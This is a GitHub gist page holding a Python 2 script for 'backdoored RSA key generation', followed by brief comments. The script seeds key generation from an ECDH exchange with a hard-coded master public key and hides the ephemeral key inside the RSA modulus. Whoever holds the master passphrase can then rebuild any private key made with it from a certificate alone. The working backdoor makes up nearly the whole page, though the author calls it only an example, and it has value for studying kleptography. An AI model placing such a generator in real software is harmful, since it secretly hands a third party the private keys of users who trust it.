Skip to content

Instantly share code, notes, and snippets.

@ryancdotorg
Last active August 28, 2024 00:34
Show Gist options
  • Save ryancdotorg/18235723e926be0afbdd to your computer and use it in GitHub Desktop.
Save ryancdotorg/18235723e926be0afbdd to your computer and use it in GitHub Desktop.
backdoored rsa key generation
#!/usr/bin/env python
import sys
import gmpy
import curve25519
from struct import pack
from hashlib import sha256
from binascii import hexlify, unhexlify
from M2Crypto import X509
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
MASTER_PUB_HEX = 'ce75b4ddd279d5f8009b454fa0f025861b65ebfbe2ada0823e9d5f6c3a15cf58'
# A simple AES-CTR based CSPRNG, not particularly interesting
class AESPRNG(object):
def __init__(self, seed):
key = sha256(seed).digest()
self.buf = ''
self.buf_left = 0
self.counter = 0
self.cipher = AES.new(key, AES.MODE_ECB)
def randbytes(self, n):
ret = ''
requested = n
while requested > 0:
# Grab all unused bytes in the buffer and then refill it
if requested > self.buf_left:
ret += self.buf[(16-self.buf_left):]
requested -= self.buf_left
# Encrypt the big-endian counter value for
# the next block of pseudorandom bytes
self.buf = self.cipher.encrypt(pack('>QQ', 0, self.counter))
self.counter += 1
self.buf_left = 16
# Grab only the bytes we need from the buffer
else:
ret += self.buf[(16-self.buf_left):(16-self.buf_left+requested)]
self.buf_left -= requested
requested = 0
return ret
# overwrite some bytes in orig at a specificed offset
def replace_at(orig, replace, offset):
return orig[0:offset] + replace + orig[offset+len(replace):]
def build_key(bits=2048, e=65537, embed='', pos=1, randfunc=None):
# generate base key
rsa = RSA.generate(bits, randfunc)
# extract modulus as a string
n_str = unhexlify(str(hex(rsa.n))[2:-1])
# embed data into the modulus
n_hex = hexlify(replace_at(n_str, embed, pos))
n = gmpy.mpz(n_hex, 16)
p = rsa.p
# compute a starting point to look for a new q value
pre_q = n / p
# use the next prime as the new q value
q = pre_q.next_prime()
n = p * q
phi = (p-1) * (q-1)
# compute new private exponent
d = gmpy.invert(e, phi)
# make sure that p is smaller than q
if p > q:
(p, q) = (q, p)
return RSA.construct((long(n), long(e), long(d), long(p), long(q)))
def recover_seed(key='', modulus=None, pos=1):
# recreate the master private key from the passphrase
master = curve25519.Private(secret=sha256(key).digest())
# extract the ephemeral public key from modulus
ephem_pub = curve25519.Public(modulus[pos:pos+32])
# compute seed with master private and ephemeral public
return (master.get_shared_key(ephem_pub), ephem_pub)
if __name__ == "__main__":
# passphrase and filename as arguments
if len(sys.argv) == 3:
# Load an x.509 certificate from a file
x509 = X509.load_cert(sys.argv[2])
# Pull the modulus out of the certificate
orig_modulus = unhexlify(x509.get_pubkey().get_modulus())
(seed, ephem_pub) = recover_seed(key=sys.argv[1], modulus=orig_modulus, pos=80)
# no arguments, just generate a private key
else:
# deserialize master ECDH public key embedded in program
master_pub = curve25519.Public(unhexlify(MASTER_PUB_HEX))
# generate a random (yes, actually random) ECDH private key
ephem = curve25519.Private()
# derive the corresponding public key for later embedding
ephem_pub = ephem.get_public()
# combine the ECDH keys to generate the seed
seed = ephem.get_shared_key(master_pub)
prng = AESPRNG(seed)
ephem_pub = ephem_pub.serialize()
# deterministic key generation from seed
rsa = build_key(embed=ephem_pub, pos=80, randfunc=prng.randbytes)
if 'orig_modulus' in locals():
if long(hexlify(orig_modulus), 16) != long(rsa.n):
raise Exception("key recovery failed")
print rsa.exportKey()
@Meru852
Copy link

Meru852 commented May 15, 2022

i think will get missing parentheses in call to 'print'. Did you mean print (...)?

Need explaination about this line 112 cause it won't work at all in the python 3.10

@ryancdotorg
Copy link
Author

It was written for Python 2.7 almost a decade ago, and was only intended to serve as an example.

@king01-maker
Copy link

you sound alot like satoshi nakamoto

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment